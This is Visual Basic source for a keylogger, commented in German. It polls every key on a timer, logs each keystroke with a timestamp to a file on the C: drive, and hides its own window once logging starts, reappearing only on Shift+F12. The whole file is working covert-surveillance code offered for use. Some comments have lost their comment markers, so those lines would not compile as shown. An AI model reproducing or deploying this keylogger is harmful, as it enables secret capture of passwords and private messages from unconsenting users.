Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer    'Mit der Tastenkombination Shift und F12 wird die
Private Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As Any, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Arguments As Long) As Long
Private Declare Function ShellExecute Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Const KeyLog = "c:\keylog.log"   'Speicher-Ort der Log-Datei.
Const SW_SHOWNORMAL = 1
Const VK_CAPITAL = &H14
Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000

Public Sub StartLogging()
    Form1.tmrGetKeyState.Enabled = True  'Zwei Timer sorgen für Ein- und Ausschalten des
    Form1.tmrStartDelay.Enabled = True   'Keyloggers.
End Sub

Public Sub CancelLogging()
    Form1.tmrGetKeyState.Enabled = False
End Sub

Sub AddText(ByVal strText As String)
    Const ForAppending = 8
    Const Create = True
    Dim FSO, TS

    On Error GoTo ende
    FSO = CreateObject("Scripting.FileSystemObject")
    TS = FSO.OpenTextFile(KeyLog, ForAppending, Create)

strText = vbCrLf & Date$ & " " & Time$ & ": " & strText     String zusammenbauen (Datum, Zeit, Zeichen).
TS.Write strText     Logfile schreiben.

ende:
    TS = Nothing
    FSO = Nothing
End Sub

Public Function Keylogging()
    Dim lngKeyState As Long, lngShift As Long
    Dim i As Integer

    lngShift = GetAsyncKeyState(vbKeyShift)

 For i = 65 To 90     Tasten A-Z (vbKeyA bis vbKeyZ).
        lngKeyState = GetAsyncKeyState(i)

  If (CapsLockOn = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or _     Grossbuchstaben.
     (CapsLockOn = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then     
            Call AddText(UCase(Chr(i)))
        End If

  If (CapsLockOn = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or _     Kleinbuchstaben.
     (CapsLockOn = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then     
            Call AddText(LCase(Chr(i)))
        End If
    Next i

    lngKeyState = GetAsyncKeyState(vbKey1)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("1")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("!")

    lngKeyState = GetAsyncKeyState(vbKey2)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("2")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("""")

    lngKeyState = GetAsyncKeyState(vbKey3)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("3")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("§")

    lngKeyState = GetAsyncKeyState(vbKey4)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("4")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("$")

    lngKeyState = GetAsyncKeyState(vbKey5)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("5")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("%")

    lngKeyState = GetAsyncKeyState(vbKey6)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("6")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("&")

    lngKeyState = GetAsyncKeyState(vbKey7)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("7")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("/")

    lngKeyState = GetAsyncKeyState(vbKey8)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("8")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("(")

    lngKeyState = GetAsyncKeyState(vbKey9)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("9")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(")")

    lngKeyState = GetAsyncKeyState(vbKey0)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("0")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("=")

    lngKeyState = GetAsyncKeyState(vbKeyBack)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{BackSpace}")

    lngKeyState = GetAsyncKeyState(vbKeyTab)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Tab}")

    lngKeyState = GetAsyncKeyState(vbKeyReturn)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Return}")

    lngKeyState = GetAsyncKeyState(vbKeyShift)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Shift}")

    lngKeyState = GetAsyncKeyState(vbKeyControl)
    If (lngKeyState And &H1) = &H1 Then
        If (GetAsyncKeyState(vbKeyMenu) And &H1) = &H1 Then
            Call AddText("{AltGr}")
        Else
            Call AddText("{Ctrl}")
        End If
    End If

    lngKeyState = GetAsyncKeyState(vbKeyMenu)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Alt}")

    lngKeyState = GetAsyncKeyState(vbKeyPause)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Pause}")

    lngKeyState = GetAsyncKeyState(vbKeyEscape)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Esc}")

    lngKeyState = GetAsyncKeyState(vbKeySpace)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{KeySpace}")

    lngKeyState = GetAsyncKeyState(vbKeyEnd)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{End}")

    lngKeyState = GetAsyncKeyState(vbKeyHome)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Home}")

    lngKeyState = GetAsyncKeyState(vbKeyLeft)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil links}")

    lngKeyState = GetAsyncKeyState(vbKeyRight)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil rechts}")

    lngKeyState = GetAsyncKeyState(vbKeyUp)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil rauf}")

    lngKeyState = GetAsyncKeyState(vbKeyDown)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil runter}")

    lngKeyState = GetAsyncKeyState(vbKeyInsert)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Einfg.}")

    lngKeyState = GetAsyncKeyState(vbKeyDelete)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Entf.}")

    lngKeyState = GetAsyncKeyState(&HBA)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ü")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ü")

    lngKeyState = GetAsyncKeyState(&HBB)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("+")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("*")

    lngKeyState = GetAsyncKeyState(&HBC)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText(",")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(";")

    lngKeyState = GetAsyncKeyState(&HBD)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("-")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("_")

    lngKeyState = GetAsyncKeyState(&HBE)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText(".")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(":")

    lngKeyState = GetAsyncKeyState(&HBF)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("#")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("'")

    lngKeyState = GetAsyncKeyState(&HC0)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ö")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ö")

    lngKeyState = GetAsyncKeyState(&HDB)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ß")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("?")

    lngKeyState = GetAsyncKeyState(&HDC)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("^")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("°")

    lngKeyState = GetAsyncKeyState(&HDD)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("´")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("`")

    lngKeyState = GetAsyncKeyState(&HDE)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ä")
    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ä")

    lngKeyState = GetAsyncKeyState(vbKeyMultiply)
    If (lngKeyState And &H1) = &H1 Then Call AddText("*")

    lngKeyState = GetAsyncKeyState(vbKeyDivide)
    If (lngKeyState And &H1) = &H1 Then Call AddText("/")

    lngKeyState = GetAsyncKeyState(vbKeyAdd)
    If (lngKeyState And &H1) = &H1 Then Call AddText("+")

    lngKeyState = GetAsyncKeyState(vbKeySubtract)
    If (lngKeyState And &H1) = &H1 Then Call AddText("-")

    lngKeyState = GetAsyncKeyState(vbKeyDecimal)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Entf.}")

    lngKeyState = GetAsyncKeyState(vbKeyF1)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F1}")

    lngKeyState = GetAsyncKeyState(vbKeyF2)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F2}")

    lngKeyState = GetAsyncKeyState(vbKeyF3)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F3}")

    lngKeyState = GetAsyncKeyState(vbKeyF4)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F4}")

    lngKeyState = GetAsyncKeyState(vbKeyF5)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F5}")

    lngKeyState = GetAsyncKeyState(vbKeyF6)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F6}")

    lngKeyState = GetAsyncKeyState(vbKeyF7)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F7}")

    lngKeyState = GetAsyncKeyState(vbKeyF8)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F8}")

    lngKeyState = GetAsyncKeyState(vbKeyF9)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F9}")

    lngKeyState = GetAsyncKeyState(vbKeyF10)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F10}")

    lngKeyState = GetAsyncKeyState(vbKeyF11)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{F11}")

    lngKeyState = GetAsyncKeyState(vbKeyF12)
    If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("{F12}")

    If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then   'Bei Shift-F12: Anwendung anzeigen.
        Form1.Visible = True
    End If

    lngKeyState = GetAsyncKeyState(vbKeyNumlock)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{NumLock}")

    lngKeyState = GetAsyncKeyState(vbKeyScrollLock)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{ScrollLock}")

    lngKeyState = GetAsyncKeyState(vbKeySnapshot)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{S-Abf}")

    lngKeyState = GetAsyncKeyState(vbKeyPageUp)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Bild rauf}")

    lngKeyState = GetAsyncKeyState(vbKeyPageDown)
    If (lngKeyState And &H1) = &H1 Then Call AddText("{Bild runter}")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad1)
    If (lngKeyState And &H1) = &H1 Then Call AddText("1")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad2)
    If (lngKeyState And &H1) = &H1 Then Call AddText("2")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad3)
    If (lngKeyState And &H1) = &H1 Then Call AddText("3")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad4)
    If (lngKeyState And &H1) = &H1 Then Call AddText("4")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad5)
    If (lngKeyState And &H1) = &H1 Then Call AddText("5")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad6)
    If (lngKeyState And &H1) = &H1 Then Call AddText("6")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad7)
    If (lngKeyState And &H1) = &H1 Then Call AddText("7")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad8)
    If (lngKeyState And &H1) = &H1 Then Call AddText("8")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad9)
    If (lngKeyState And &H1) = &H1 Then Call AddText("9")

    lngKeyState = GetAsyncKeyState(vbKeyNumpad0)
    If (lngKeyState And &H1) = &H1 Then Call AddText("0")

End Function

Function CapsLockOn() As Boolean
    Static blnInit As Boolean, blnOn As Boolean

    If Not blnInit Then
        While GetAsyncKeyState(VK_CAPITAL)
        End While
        blnOn = GetKeyState(VK_CAPITAL)
        blnInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)
                DoEvents()
            End While
            blnOn = Not blnOn
        End If
    End If

    CapsLockOn = blnOn
End Function


Sub cmdKeyLog_Click()   'Im Formular ist ein Button zum Starten des Keyloggers.
    Static blnHooked As Boolean

    If Dir$(KeyLog) = "" Then   'Wird keine Log-Datei gefunden, wird eine Datei erzeugt.
        Dim FSO, tf
        FSO = CreateObject("Scripting.FileSystemObject")
        tf = FSO.CreateTextFile(KeyLog, True)
        tf.WriteLine(KeyLog)
        tf.WriteBlankLines(1)
        tf.Close()
        FSO = Nothing
        tf = Nothing
    End If

    If blnHooked Then
        Call CancelLogging()    'Logging beenden.
    Else
        Call StartLogging() '    Logging starten.
        Me.Visible = False '    Anwendung unsichtbar.
    End If

    blnHooked = Not blnHooked
End Sub

Sub tmrGetKeyState_Timer() '    Timer zum Starten des Keyloggers.
    Call Keylogging()   'Die Timer sind auf Interval 100 eingestellt, damit auch
End Sub     'schnelle Tastatureingaben mitgeschnitten werden.
'Bei höheren Werten könnte sich das System verschlucken.
Sub tmrStartDelay_Timer()
    tmrStartDelay.Enabled = False
End Sub

Timer: Name: tmrGetKeyState
         Intervall: 100
Timer: Name: tmrStartDelay
          Intervall: 100
Button: Name: Button1
TextBox: Name: TextBox1